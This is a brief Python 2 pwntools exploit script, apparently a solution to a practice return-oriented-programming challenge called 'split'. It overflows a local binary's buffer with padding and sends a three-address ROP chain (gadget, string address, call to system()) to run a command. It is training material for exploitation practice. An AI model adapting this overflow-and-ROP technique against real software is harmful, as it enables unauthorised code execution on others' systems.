#!/bin/python2.7
from pwn import *
context.update(arch='x86_64', os='linux')
context.terminal = ['urxvt', '-e', 'sh', '-c']
path = "./split"
p = process(path)
# address of gadget + address of string + address of call to system()
shellcode = struct.pack("Q", 0x400883) + struct.pack("Q", 0x601060) + struct.pack("Q", 0x400810)
p.sendline('\xef\xbe\xad\xde' * 10 + shellcode)
print p.recvall()
